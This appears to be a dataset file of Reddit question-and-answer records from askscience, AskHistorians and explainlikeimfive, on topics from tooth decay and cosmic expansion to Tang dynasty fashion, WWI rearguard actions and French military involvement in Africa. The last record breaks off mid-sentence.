{"q_id": "1zmmet", "title": "Why do cavities and necrosis turn teeth/tissue black?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1zmmet/why_do_cavities_and_necrosis_turn_teethtissue/", "answers": {"a_id": ["cfv0h35", "cfv1apy", "cfv2mcd", "cfv3bkb"], "score": [71, 7, 11, 8], "text": ["Depending on the cause of necrosis, necrotic tissue can be a variety of colors ranging from black to purple to yellowish or white.  The type that most people are familiar with is avascular or ischemic necrosis (which turns black), where blood flow and/or oxygen delivery is interrupted.  As cells in the region begin to die, various biochemical processes cause proteins to denature and coagulate.  The coagulated protein gunk is usually opaque and dark-colored, giving the dead tissue a black or purple appearance.\n\nEDIT: Necrosis caused by infection often includes an ischemic component, either because the infection interrupts local circulation, or because ischemic tissue is unable to defend itself against opportunistic infections.", "Traditional cavities are more brown than black - only slightly darker than healthy dentin. Decay is disruption of the cellular matrix of the tooth from acid produced by anaerobic oral bacteria - typically from carbohydrate fermentation. They become highly susceptible to stain and so when you see someone with a 'black' cavity it is usually because they are a smoker or have another habit that is causing extensive staining of the decay.", "A lot of decay is black, but I also see decay that is tan, light brown and dark brown. Occasionally, I'll see green decay. It has to be because of the vast variety of bacteria involved and the multitudes of degradation products formed. I read that hydrogen sulfide produced from certain bacteria will react with iron and result in a black appearance.\n\nNecrosis is almost always black which is why front teeth that have \"died\" look dark. The anaerobic bacteria involved degraded the pulp tissue inside the tooth and they are always smelly. Again, has to be hydrogen sulfide gas or some other degradation product reacting with collagen, hemoglobin etc.", "Dentist here. There are a couple different things that can happen. When the nerve inside a tooth becomes necrotic (usually from trauma), the resulting inflammation inside the tooth causes color changes ranging from pink to grey. This can usually be resolved endodontically (root canal and internal tooth bleaching) or by placing a porcelain crown over the tooth.\n\nCavities (also called decay or caries) are a loss of minerals from the matrix of enamel and underlying dentin of a tooth. It is caused by acid demineralization, and the acid can come from food and drink, or as a byproduct of the fermentation of carbohydrates by oral bacteria. There are a number of reasons why it gets dark. Decayed teeth are more soluble to food and drink which can stain the teeth, as well as cigarettes and other things that can stain teeth. Dental decay is also not always dark, it usually starts at as bright white spots on teeth, but later stains and progresses to darkness. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "8vdlim", "title": "Many Latin American countries today seem to identify themselves mostly with their Pre-Columbian past rather than with the Spanish, who are portrayed as their conquerors rather than founders. Why is this and how has Latin American identity evolved over time?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8vdlim/many_latin_american_countries_today_seem_to/", "answers": {"a_id": ["e1nf2t7"], "score": [30], "text": ["Great question. This is something I'm really interested in for my own research, and the answer depends quite a bit on which Latin American region we're talking about. Generally though, this harking back to pre-hispanic cultures by national elites has been tied to the early independence period. Creole elites (meaning American elites of European origin) used pre-hispanic histories for building national identities in order to distinguish their \u00abnew\u00bb countries from European influence. This process had already begun in regions like colonial Mexico in colonial times, with these elites developing a \u00ab creole patriotism \u00bb that helped to air their grievances against a colonial order that did not allow them to hold the highest social positions. At the same time, contemporary indigenous people were since early colonial times excluded in many ways. These pseudo-Indian national identities also very much simplified the complex relations between native population groups of pre-Hispanic times that continue in different forms to this day.\n\nEarlier scholarship like the important work of DA Brading has described colonial Mexico (New Spain) as developing such a creole patriotism especially early, going back to the 17th century at least. More current work, especially Rebecca Earle's great \u00ab The Return of the Native \u00bb has highlighted similarities in how creole elites in many Latin American regions looked to the pre-Hispanic past.  \n\nEarle argues, for example, that from the early 19th century elites in newly independent countries like Peru, Colombia and later Argentina looked to specific pre-Hispanic cultures while downplaying the achievements of other native groups \u2013 including the continuing discrimination of native people in their time, that even increased in many parts of Spanish America during the 19th century, with previous colonial protections being taken away. This for Earle partly explains why creole elites throughout Latin America would use especially the Aztecs (of Mexico) and the (Andean) Inca as national *symbols* \u2013 even though they often had little to no connection to these groups and their descendants. This included using pre-Hispanic ruler like Moctezuma, Cuautehmoc or Atahualpa on stamps, statues, literary works and (only briefly) anthems in such diverse countries as Chile, Argentina and Bolivia. \n\nSo in different phases of Latin American history, elites drew on pre-Hispanic histories for changing reasons. However, history writing by native authors had continued in places like Mexico and Peru throughout colonial times, and would also be drawn upon by creole elites in the independent period, reifying elements of it in the process. At the same time, the independence period saw an increasing appropriation of native territories and loss of judicial protections that in many ways continues to this day.\n\nI have to get going unfortunately, but hope to add a bit more to this later on. In the meantime I can really recommend Earle's book on all this. For the Mexican case, which I'm more familiar with, you might be interested in this earlier answer I wrote on this very related question : [Are native Mexicans considered an indigenous people?](_URL_0_). I'm adding my summary from that answer below.\n\n\n >  I've looked at three topics in order to trace main developments regarding racial relations in Mexico. This meant looking at the colonial casta system introduced by the Spaniards as a basis for determining racial categories that partly have influence until today. However, these casta categories formed an ideal type that did not come into social reality as envisaged. Next I looked at an \"neo-Aztec\" narrative developed first by native authors, and taken up by creole writers in the 17th c. This narrative proved influential for the formation of modern Mexico's national identity. It highlighted the high development of pre-conquest Mexican peoples (esp. the Mexica), while describing current native people as \"backwards\" compared to European ideals.\n\n >  In the last part I've tried to show how this early modern narrative carried over into the modern national identity. Mestizaje and Indigenidad continue to exert influence as highly problematic concepts, preaching diversity in face of deep-seated discrimination.\n\n >  A few thoughts as an epilogue -- Not only in Mexico, but also in other Latin American (and other) countries, there are still strong negative stereotypes tied to indigeneity. For Peru, scholars have described how people of native descent would and continue to disconnect from their traditions in order to reach higher positions in society. With the idea of a \"mestizo\" nation (formed in modern times), people in Mexico have tended to emphasize a supposed mestizo-ness or mixity. On the other side of things, whiteness is still rather tied to privilege and often portrayed positively. Nonetheless or in spite of this, many people continue to hold up their native heritages with pride. While it would be too easy to draw direct connections to the casta system, nonetheless we can see how certain stereotypes took hold during colonial times, were adapted over time, and continue to exert influence."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/6qjdib/are_native_mexicans_considered_an_indigenous/dlg8sp8/?context=3"]]}
{"q_id": "fjt3de", "title": "Is there any reason to suspect or way to find out if COVID-19 could cause adverse side effects long term after recovery?", "selftext": "Chicken pox, for example, lays dormant in the body for decades before potentially manifesting as shingles.\n\nAny clues as to weather COVID-19 could do something similar?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/fjt3de/is_there_any_reason_to_suspect_or_way_to_find_out/", "answers": {"a_id": ["fkp274x", "fkplymt"], "score": [10, 5], "text": ["We simply don\u2019t know yet. In general this virus kills through complications (compounds other health problems, increased chance of pneumonia etc). It might be hard to tell if the virus, or others things will cause long term damage.", "We have absolutely no idea about the long term effects of the disease. There is some evidence out of China that some patients have lingering lung damage, but it isn't clear if it will get better or not. \n\nIt will takes years long clinical trials to answer this question as viruses and human immune responses to them can vary widely."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "6ztewf", "title": "how do mountain goats climb up seemingly completely straight surfaces?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6ztewf/eli5_how_do_mountain_goats_climb_up_seemingly/", "answers": {"a_id": ["dmxwcbv", "dmxwdd7", "dmxwglf", "dmxxmil", "dmxyzc7", "dmy0h36", "dmy0mcz", "dmy0xfe", "dmy11ez", "dmy3d4s", "dmy4kj6"], "score": [584, 43, 142, 2058, 62, 17, 18, 244, 107, 4, 2], "text": ["Because it's indeed only seemingly completely straight, a different angle: _URL_0_\n\nThat picture is probably cut in that strange way only to hide what reveals it's not a vertical wall.", "Goat hooves have a more rubbery texture than horse or cow etc hooves. They have grippy toes.. Plus, they're super agile/adventurous. Goats get themselves in all kinds of weird places. ", "To start with their hoofs are very sharp and their legs are thin. So even if there is a slippery piece of rock sticking half an inch out from the cliff they can put their weight on it without slipping. They also have a lot of balance and control over their movements so they can balance on those narrow ledges. And of course it does help to have four legs. So just like a rock climber can climb seemingly straight smooth surfaces a goat can use a lot of the exact same footholds to climb up.", "Great balance and precise movements. \n\nNot unlike how it's kind of miraculous that humans are bipedal.  Walking on 2 feet on uneven terrain and up stairs is pretty impressive too. ", "How often do goats fall to their deaths when climbing up weird and vertical walls and cliff faces?", "The have weird hoofs it's like a horses on the outside but a dogs soft in the middle giving them lots of grip. ", "Rigid, hard-rubber style hooves, and a lot of free food for scavengers at the bottoms of cliffs. ", "[because they crave that mineral. ](_URL_0_) \n\nOn a more serious note, they have hooves that have evolved to be able to climb these almost straight surfaces and I'd assume a lot more muscles than we do as humans. Also probably a combination of speed + muscles + agility -- >  climbing up mountains \n\nEdit: \"designed\" - >  evolved ", "On top of every one else's mostly correct responses - Practice!  Goats climb on and jump off of everything they can from birth.  They have a real urge to get up on stuff and as babies they are terrible at it with lots of tumbles but they get better and better with time.  r/goatparkour", "\"Since this pic was posted a few months ago, I can tell you the consensus then was that the photo is tilted and cropped to exaggerate the angle of the wall. Check out the angle of the trees in the foreground and background. \"\n\n\"Yep, this is the actual angle.\" _URL_1_\n\n_URL_0_", "They don't climb up vertical surfaces.  They can only climb less than vertical surfaces where they can \"lean in\" so that their center of mass is closer to the face than their hooves.\n\nWe humans can climb vertical and overhanging faces because we can use our hands (and other body parts) to hold ourselves into the rock face.  Goats have only their hooves, so they are limited to less-than-vertical climbing.  That said, they have adapted to allow them to \"lean in\" very well and climb more vertical surfaces than a lot of the predators that would try to eat them."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://imgur.com/a/5g2zX"], [], [], [], [], [], [], ["https://m.imgur.com/t/mineral/uwt3i6c"], [], ["https://www.reddit.com/r/NatureIsFuckingLit/comments/6zr5u5/goats_climbing_a_brick_wall_are_xpost_2sweatypalms/dmxi631", "https://imgur.com/a/5g2zX"], []]}
{"q_id": "4vq51y", "title": "Due to rapid expansion of the universe, will this result in our Milky Way being isolated from other galaxies to the point where we see nothing but darkness when we try to observe space?", "selftext": "Just as the title states. The universe is expanding so dramatically that it is becoming more difficult to look further into space and time. With light being stretched for such long distances of travel, light will eventually fade out before reaching earth. In a few billion years or so, will space be so large that the nearest neighboring Galaxy - Andromeda Galaxy will be so far in space that we will not be able to see it? Future humans will look into the sky and see nothing. If so, is that the point in time were science will truly stop because we will not be able to study the Big Bang or any other activity in the universe. ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4vq51y/due_to_rapid_expansion_of_the_universe_will_this/", "answers": {"a_id": ["d60i76z", "d60i821", "d60kp6g", "d61kv0s"], "score": [5, 21, 7, 2], "text": ["Well, the Andromeda Galaxy is actally heading toward us, and will collide with the Milky Way.\n\nAnd at the very least, there will be stars from inside the Milky Way cluster that will be seen pretty much until there is no Earth, at the very least.", "Yes!\n\nThis is actually covered in Lawrence M. Krauss' [A Universe From Nothing](_URL_0_) (which is **absolutely** worth reading, and it's only 120 pages!).\n\nEssentially, yes, 1.5 to 2 trillion years from now, the universe will have expanded so much that there will be no method of observation into the cosmos. Even forms of light such UV, IR, radiowaves, and visible light will be utterly undetectable. \n\nFuture alien races will have absolutely no means or reason to think there is anything else out there, and we are *very* fortunate to have evolved when we did.", "Sounds like you may have watched this video: _URL_0_\n\nIf not, you should.\n\ntl;dw:  Our local group of galaxies is gravitationally bound (to the point that all these galaxies will merge into a super galaxy), but local groups are moving away from each other at an increasing speed that will prevent us from ever reaching them, regardless of whether we attain travel at the speed of light.  Eventually, they will be moving so fast that their light will never get to us, and we will not know they exist.", "Yes, but it's not because the expansion is *rapid*, but because it's *accelerating*. The value of the expansion rate might seem high, but if it were slowing down at all, then over time more and more galaxies would come into view. This is because the Universe doesn't expand at a speed, but at a speed *per distance* - the expansion rate between two points (say, two galaxies) is bigger for points that are farther apart. So there's always some distance past which the expansion rate exceeds the speed of light, and (roughly speaking) we can't see past that distance. So if the expansion is slowing down, that can't-see-past distance (called the Hubble distance) gets larger and larger, meaning more and more of the Universe comes into view.\n\nThe expansion of the Universe isn't slowing down, though - it's speeding up, and this means that, running through the same logic, more and more galaxies are going to be whisked forever out of our sight."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.amazon.com/Universe-Nothing-There-Something-Rather/dp/1451624468"], ["https://www.youtube.com/watch?v=ZL4yYHdDSWs"], []]}
{"q_id": "9jlh5u", "title": "Why do some parts of the eyes not need blood vessels?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9jlh5u/why_do_some_parts_of_the_eyes_not_need_blood/", "answers": {"a_id": ["e6si526", "e6u51kz"], "score": [434, 7], "text": ["The cornea and lens both lack blood vessels, since they need to be clear for good vision.\n\nThe cornea (front window of your eye) is only about 0.5 mm thick, enabling it to get the oxygen it needs via diffusion (the front half gets oxygen from the outside air, and dissolved O2 in the tear film. The back half gets its O2 from dissolved O2 in the aqueous humor).\n\nThe lens is not nearly as metabolically active as the cornea, so its oxygen needs are much lower. The oxygen it needs, it gets via diffusion from the aqueous humor (eye fluid).", "As nuclear Cadillacs said.... I would add that the vitreous jelly that constitutes the largest part of the eye (from a volume standpoint) embryologically was a vascular structure. That allowed the eye to develop in utero when it's metabolic demands were higher and all parts of the eye needed more blood flow. But in order to have a clear medium for light to travel through, those vessels regress, leaving a virtually clear cavity through which light can travel. There are disease states associated with failure of this process (eg persistent hyperplastic primary vitreous).      \n\nOne other interesting fact is that despite having some avascular parts, there are other parts of the eye with incredibly high blood flow. The choroid which supports the outer third of the retina has the highest blood flow density of any tissue in the body as well as the highest oxygen tension."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1shduc", "title": "Can we do a gravity assist from Mars to Jupiter?", "selftext": "I know we've used Venus and Earth for gravity assists on several missions to the outer planets, but is it possible to use Mars?  Is its mass simply too small to be a big help in getting out there?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1shduc/can_we_do_a_gravity_assist_from_mars_to_jupiter/", "answers": {"a_id": ["cdxp8m5", "cdxzadm"], "score": [11, 2], "text": ["Mars has been used for a gravity assist.  NASA's [Dawn mission](_URL_0_) to rendezvous with Ceres and Vesta in the asteroid belt used a Mars gravity assist, as is discussed further [here](_URL_1_).", "This was discussed once in one of my orbital mechanics or mission design classes. Basically, from what I remember, it's possible, but because of Mars' small mass, the benefit is negligible (bigger planet mass gives a bigger change in velocity), so mission planners tend to avoid it. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://dawn.jpl.nasa.gov/multimedia/mga_gallery.asp", "http://www.planetary.org/blogs/guest-blogs/marc-rayman/1869.html"], []]}
{"q_id": "469v7p", "title": "why wouldn't it work to mix 76x hydrogen atoms together to form gold? or in general, why can't we create new stuff from \"thin air\" by adding enough protons together that will make up enough protons to make up the atom we desire", "selftext": "that will make up the atom since the atomnr= Protons", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/469v7p/eli5_why_wouldnt_it_work_to_mix_76x_hydrogen/", "answers": {"a_id": ["d03evc1", "d03exa4", "d03f8js", "d03hxme", "d03mf43"], "score": [9, 5, 4, 2, 3], "text": ["That's called nuclear fusion. It's extremely hard to do and takes lots of energy. Normally you find that energy inside stars. ", "The short answer (assuming we had the knowledge to do it):\n\nthe amount of energy required to hold all the constituent parts separate, and then the energy to jam the protons, neutrons, and electrons together to create the atom desired.... It would take far more money to try and create the gold particle than it could even be worth to us ", "As the others are saying, you just described nuclear fusion, and it is very hard to accomplish.\n\nOne reason why it is so hard to accomplish is that you are trying to take a bunch of positively charge Protons and jam them all together when they want to repel each other.\n\nIt take a TREMENDOUS amount of pressure to push them all together to the point that they stick. The more protons you add, the harder it gets. \n\nMost stars you can see are not even capable of making gold.", "Here's an example of how hard it is to make gold by fusion:\n\n_URL_0_", "Everyone else is talking about fusion reactors, but I'd like to point out that we Regularly make heavy elements, including probably gold, in particle accelerators.\n\nCreating elements by smashing them together is really really really expensive in terms of energy. It's done with a really huge particle accelerator, that smashes small numbers of atoms into each other. The amount of mass involved is absolutely miniscule. Far to little to be even remotely useful economically."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.youtube.com/watch?feature=player_detailpage&amp;v=3_7KYoO5qHk#t=284.5"], []]}
{"q_id": "2sbfsx", "title": "Just how low-cut was Tang dynasty fashion?", "selftext": "[Recent news reports](_URL_0_) are saying that a Chinese historical movie about the Tang dynasty full of low-cut dresses is historically authentic to the fashion of the period. True? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2sbfsx/just_how_lowcut_was_tang_dynasty_fashion/", "answers": {"a_id": ["cnnx4j6", "cnny09m"], "score": [3, 9], "text": ["I hope someone with more experience in Chinese clothing history will pop in and answer this more fully, but judging by [these portraits](_URL_0_) dating to the Tang dynasty, it doesn't look like the gowns are particularly revealing (by modern Western standards, at any rate).\n\nLooking at the images I linked to above, I'd assume the portion of the gown that wraps around the torso was probably placed above the breast (like a woman does when she wraps a towel around her). The stills from \"The Empress of China\" show the wrap placed at nipple-height and something is pushing the breasts up, like you'd see if the actresses were wearing a corset. To my eyes, it looks like yet another film industry attempt to sexify period clothing for a modern audience, but they got backlash from China's censors as a result. ", "So, it's a bit tricky to say. While fashion was certainly more liberal for women in the Tang than say, during the Han, most of this gets reflected in hairstyles, jewelry, and head coverings (i.e. dropping the cloak/hood fashion that covered the face in favor of hats or hoods that did not cover the face). Lots of this can be attributed to the far reaches of Tang trade and influence as well as power dynamics within the empire over the dynasty's lifespan. \n\n\nTypical dress for women would still be what you'd probably picture as stereotypical Chinese/Korean/Japanese dress,  [something like this](_URL_1_) with a little more emphasis sometimes being placed on the breasts via positioning of the fabric (having the fabric around the breasts flair out, for example) and a little more emphasis sometimes being placed on shoulders, which were, at times, laid bare. All-in-all, [these](_URL_0_) (apologies for the poor quality picture) would be the common cuts in women's clothing. The low-cut and \"dancer's costume\" should be lumped into the same category really, as dancers of the time for court and events are noted as emphasizing the breasts (either through low-cut fashion or even by having exposed breasts) and/or emphasizing sleeve movements. The western style one is part of the range of Persian fashions (such as felt) that had found their way into Chinese society (even Uighur fashion played an important part in the post An LuShan rebellion Tang).\n\n\nSo as a bottom line: Were such low-cut dresses a thing in the Tang? Most certainly. Were they as ubiquitous as some media likes to claim? Not necessarily. Fashion for women of the time is more often discussed as a matter of body shape, jewelry, hairstyles, makeup, etc. rather than having clothes that expose a little more than before (but again, it was still a factor). The traditional gown styles and increasingly more and more \"western\" (central asian, really) styles were far more common."]}, "title_urls": [], "selftext_urls": ["http://news.asiaone.com/news/asia/china-cleavage-censorship-lacks-authority-state-media"], "answers_urls": [["http://en.wikipedia.org/wiki/Zhou_Fang_\\(Tang_dynasty\\)"], ["https://i.imgur.com/lptuvq6.jpg", "http://images2.bonhams.com/image?src=Images/live/2014-05/13/8983834-2-1.jpg&amp;width=640&amp;height=480&amp;halign=l0&amp;valign=t0&amp;autosizefit=1"]]}
{"q_id": "wthal", "title": "Is anyone who met Hitler still alive today?", "selftext": "So it's 2012. Hitler died 67 years ago. I was just wondering if anyone who met Hitler personally is still alive today? I don't mean people who just saw his speeches, but someone who actually had a face-to-face conversation with him? At the top of my head I only remember Traudl Junge, his secretary. But she died in the early 2000's.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/wthal/is_anyone_who_met_hitler_still_alive_today/", "answers": {"a_id": ["c5gb8rf", "c5gb9ys", "c5ggbky", "c5gmmpl"], "score": [22, 15, 3, 3], "text": ["[Rochus Misch](_URL_0_) was present in the fuhrerbunker during the Battle of Berlin. He can be seen as a minor character in _Downfall._ (AKA the movie where the Hitler videos come from)\n\nIf he's still alive there's probably lots of people who merely \"met\" him.", "[Rochus Misch](_URL_0_) is the last living person that was in the bunker with hitler himself when he committed suicide. He was part of his \"Lifeguard(?)\" (Leibstandarte) and telephone operator back then in the bunker.", "I suppose some of those kids [in his last film appearance](_URL_0_) might still be alive, if they survived the war. I suppose some people must have tried to track them down?", "This group is still hunting Nazi war criminals who are now in their 90s. One was arrested yesterday.  _URL_0_  Dont know if they has personally met HItler or not."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Rochus_Misch"], ["http://en.wikipedia.org/wiki/Rochus_Misch"], ["http://www.dhm.de/lemo/objekte/pict/20004895/index.jpg"], ["http://www.operationlastchance.org/"]]}
{"q_id": "cxcfp6", "title": "what causes asphalt in the summer time to make things \u201cmelt\u201d into it?", "selftext": "_URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cxcfp6/eli5_what_causes_asphalt_in_the_summer_time_to/", "answers": {"a_id": ["eyka3us", "eykabsc", "eykby1c"], "score": [7, 2, 2], "text": ["That's a mirage. The asphalt is *very* hot compared to the ambient air, and at the interface between much cooler air and blazing hot air near the asphalt, light is refracted/scattered in funny ways. In extreme cases like this, the interface can act like a mirror.", "The asphalt is hotter than other surfaces because it is black and absorbs almost all light, which heats it up.\n\nThe air right above the asphalt is warmer then other air too, up to a point a few cm above the surface, where it mixes with the cooler air. Hotter air is less dense and therefore has a lower refractive index than cooler air, which means it bends light less.\n\nThis causes total internal reflection for small angles i.e. almost horizontal light, just like in optical fibers, so you see more of the ground in this region when you are close to rhe ground and a kind of mirror effect to the sky when you stand upright.", "The sun\n\nedit: I think you are talking not the physical melting but the optical one!\n\n* This is caused by the refractive index of the hot air right above the asphalt.\n* This acts as a prism, changing the angle of the light (without seperating the light into colours)\n* the same effect can be seen in a cup with a spoon\n* [_URL_0_](_URL_0_) (just check the images)"]}, "title_urls": [], "selftext_urls": ["https://i.imgur.com/H86piHp.jpg"], "answers_urls": [[], [], ["https://www.physicsclassroom.com/class/refrn/Lesson-1/Refraction-and-Sight"]]}
{"q_id": "152uoc", "title": "Does the human digestive system have a constant ph or does it vary from person to person", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/152uoc/does_the_human_digestive_system_have_a_constant/", "answers": {"a_id": ["c7iu7wj", "c7izfyk", "c7j5m05"], "score": [2, 2, 3], "text": ["It varies from person to person, but it's usually pretty similar. \nGenerally people that eat spicy and acidic foods have slightly more acidic stomachs due to conditioning.", "I think you should also know that the digestive system has varying pH's in different sections. The stomach is acidic, and ranges from around a pH of 2 to 4. Right after the stomach, the small intestine pumps out buffers to raise the pH back up to a range of 6-8 pH. Your stomach makes mucus to protect itself from the acid it makes, but the lining of the small and large intestine needs to stay thinner, because it has to absorb all the digested material. That means it can't handle the acid the stomach makes. \nAlso, you should know that pH is what people call a log scale. So, a pH of 3 is 10x more acidic than a pH of 4. A pH of 2 is 100x more acidic than a pH of 4.", "Not only would it vary from person to person, it's going to change hour to hour or even minute to minute within an individual."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "a830hc", "title": "What does a \"sharp rearguard action\" actually entail?", "selftext": "It seems to be one of those stock phrases in military history books (I'm thinking about WWI but it applies to almost any period I've read about). An army would retreat and end up fighting \"desperate\" or \"sharp\" rearguard actions, presumably involving small groups of soldiers fighting to keep the enemy from catching up with the main army. But I can't really picture it:\n\n1. What does the rearguard actually do? Do they setup machine guns and hold the enemy off? How does it differ from a regular engagement?\n\n2. How are the soldier chosen for this task? Are they the most elite, the least blooded, or just the most unlucky? \n\n3. How many soldiers are usually in the rearguard, relative to the whole force? How do they manage to fight off a numerically superior enemy without being immediately overwhelmed? \n\n4. And most importantly, how the hell does the rearguard manage to get away from the enemy? Do they start their mission with the idea that they are likely to die to the last man, or is there a plan of further retreat? If a small force could fight off a significantly larger force in those circumstances, why not stop the retreat entirely and deploy the whole army in the same sort of position? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/a830hc/what_does_a_sharp_rearguard_action_actually_entail/", "answers": {"a_id": ["ec7xltg"], "score": [40], "text": ["To answer your questions, let's look at some case studies from the British Expeditionary Force (BEF) and its experience in Belgium and France in the opening part of the Great War. Fair warning, I'm heavily simplifying these engagements (Le Cateau in particular).\n\nA rearguard action could vary widely in size. It could be...\n\n**A few men** \\- 23 August 1914 at Nimy:  Private Sid Godley volunteers to man a Maxim gun at the bridge at Nimy to cover the retreat of 4th Battalion, The Royal Fusiliers. Machine gun section commander Lieutenant Maurice Dease had already been killed and the most of his gunners were dead or wounded. Godley had to clear away the bodies of his comrades to get a gun back into the fight. I've been to the site of the action and it's a horribly-exposed position. The Maxim position was on a railway embankment with a wide field of fire, but it could be seen by literally thousands of Germans. After two hours of single-handedly holding off the German advance, the now-wounded Godley threw his Maxim into the canal before being captured. Dease and Godley win the first Victoria Crosses (VCs) of the war. The action at Nimy was dramatized fairly well in Episode 1 of the 2014 BBC series *Our World War*.\n\n**A battalion or two** \\- 24 August 1914 at Elouges: 1st Battalion, Cheshire Regiment and 1st Battalion, The Norfolk Regiment, along with 119th Battery Royal Field Artillery block the road from Mons to buy time for the 5th Division to retreat. The Norfolks and Cheshires had been part of the division's reserve and so were fresh(er) and more ready for a fight than the troops who'd seen fighting on the 23rd. The 9th Lancers and part of 4th Dragoon Guards launch an abortive charge on German artillery that is foiled by a farmer's wire fence. After several hours of fighting, the brigade commander realized he they were about to get surrounded and ordered a retreat. The Norfolks and the 119th Battery are (narrowly) able to get away. The 119th Battery is nearly lost and is only saved by some genuine heroics by its gunners and volunteers from the 9th Lancers who manhandled the guns back to their limbers. Lancer Captain F.O. Grenfell and the battery commander, Major E.W. Alexander, both won VCs. Alexander was the first artilleryman to win a VC in the Great War. In the confusion, the isolated Cheshires never get orders to retreat and didn't realize they were left alone. Only a few men get away. Of the 1,000 men of the Cheshires that landed on the Continent, only 100 were fit to muster the next day. In just a few hours, the battalion took nearly 750 casualties. The Norfolks had taken about 275 casualties. In their short stand, this tiny fragment of the BEF had managed to kill or wound nearly 7,000 Germans.\n\n**A division or more** \\-  26 August 1914: Sir Horace Smith-Dorrien makes a controversial stand with II Corps at Le Cateau, with the intent of bloodying the Germans and giving his troops time to re-organize. The British official history of the Great War states: \"General Smith-Dorrien, after a full discussion  of the situation with Generals Allenby \\[commander of the Cavalry Division\\] and Hamilton \\[commander of the 3rd Division\\], reluctantly came to the decision that he must stand his  ground ... he would strike the enemy  hard, and, after he had done so, continue the retreat.\" The British took heavy losses due to bad terrain, tactical errors, and relentless German assaults. However, the Germans were badly disrupted by the attacks and assumed they'd wiped out the entire BEF. As a result, they chose to rest and regroup the next day, allowing II Corps to escape.\n\nAs you can see, the intent of a rearguard action is pretty consistent, regardless of its size. The rearguard hopes to disrupt the enemy, inflict casualties, and buy time for friendly forces to retreat or regroup. Sometimes this is done through defensive action to hold a key position or through a limited counter-attack (e.g. 9th Lancers trying to take the German guns).\n\nWho is chosen for rearguard actions? Sometimes its a combination of volunteerism and circumstance (Dease and Godley), being in better condition to fight than other friendly units (The Cheshires and Norfolks), or simply being in the right place (II Corps).\n\nYou can also see that breaking contact with the enemy is extremely difficult to do, especially when outnumbered. In fact, it's regarded by military science as one of the most difficult tasks for a modern army to accomplish.\n\nRearguards could be overwhelmed or encircled, especially since they usually had little support from friendly units. Rearguard units sometimes were ordered to (or chose to) hold to the \"last man and the last cartridge\" and had no expectation of extricating themselves. Other times, rearguards were expected to hold ground until ordered to fall back, although as the case of the Cheshires shows, these orders didn't always come.\n\nIf you're interesting in learning more about the actions I mentioned, I **highly** recommend watching Richard Holmes' BBC Two Series *War Walks* and the episode [\"Mons and Le Cateau (1914).\"](_URL_0_) His book *War Walks* is also well worth your time and covers the battles I mentioned in further detail.\n\n\\---\n\nNote: it's important to differentiate between rearguard actions and other types of defensive actions. The action at Rorke's Drift in 1879, for example is often cited as a rearguard action (Wikipedia even does so). It wasn't. The men there were defending themselves and their army's supply depot, not covering the retreat of a parent formation.\n\n & #x200B;"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.dailymotion.com/video/x3wloym"]]}
{"q_id": "17fhm0", "title": "french military activity in africa", "selftext": "The French army is currently active in Mali, and in the past it has been involved in other conflicts. Why? What are the benefits from the French in doing so? \n\nEDIT: I'm not asking about Mali specifically, but about France's military activity in Africa. I know that they have a continuous presence in several former colonies, but to what end? Does France get resources from these countries? Is it to protect French nationals who live there? Is it because France doesn't want to let go of its past as one of the world's colonial empires? Does France feel responsible for these countries becaused they messed them up in the first place?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/17fhm0/eli5_french_military_activity_in_africa/", "answers": {"a_id": ["c8511u8", "c8563b4"], "score": [23, 9], "text": ["France is in Mali to deliver a long-lasting defeat of Islamists (and the separatists though it can't say it out loud to offend some people's sensitivities to any group wanting \"independence\") to allow Mali to rebuild its institutions. France is interested in Mali because many, many Malians live in France, it is a former colony, a few thousand Frenchmen live in Mali, and it neighbors another former colony in Niger that provides its uranium, so they don't want to risk this Islamism spreading. \n\nThe French population has been wanting to disentangle themselves from Africa for a couple generations but they get drawn back in every couple of years because there are so many weak states among their former colonies and they feel pressured to intervene to prevent bad outcomes.", "ELI5(*ish* given that you have indicated prior knowledge) answer:\n\nFirstly its about resources. France still gets a lot of its oil and metals from Africa, so its in its direct economic interest to make sure the regions stay stable and can provide for France.\n\nSecondly its about French nationals. There are quite a few French citizens living across the ex-colonies in Africa, and the government has a direct responsibility to protect them if the situation arises.\n\nLastly, its about international pressure. Because of the historical link France has to many of these nations, there is a responsibility on it to make sure there is some level of stability and progress towards better prosperity. When this looks likes it isn't happening, or there is a direct threat, France simply *feels* like it needs to respond in some way. Europe as a whole (also the US and other nations included) have foreign policies shaped around *global stability*, and so when a situation includes an islamist problem that is a general threat to the west, there is pressure to deal with it.\n\nSome links that include more detail and historical information:\n\n[The french military in africa](_URL_0_)\n\n[History of French military interventions in 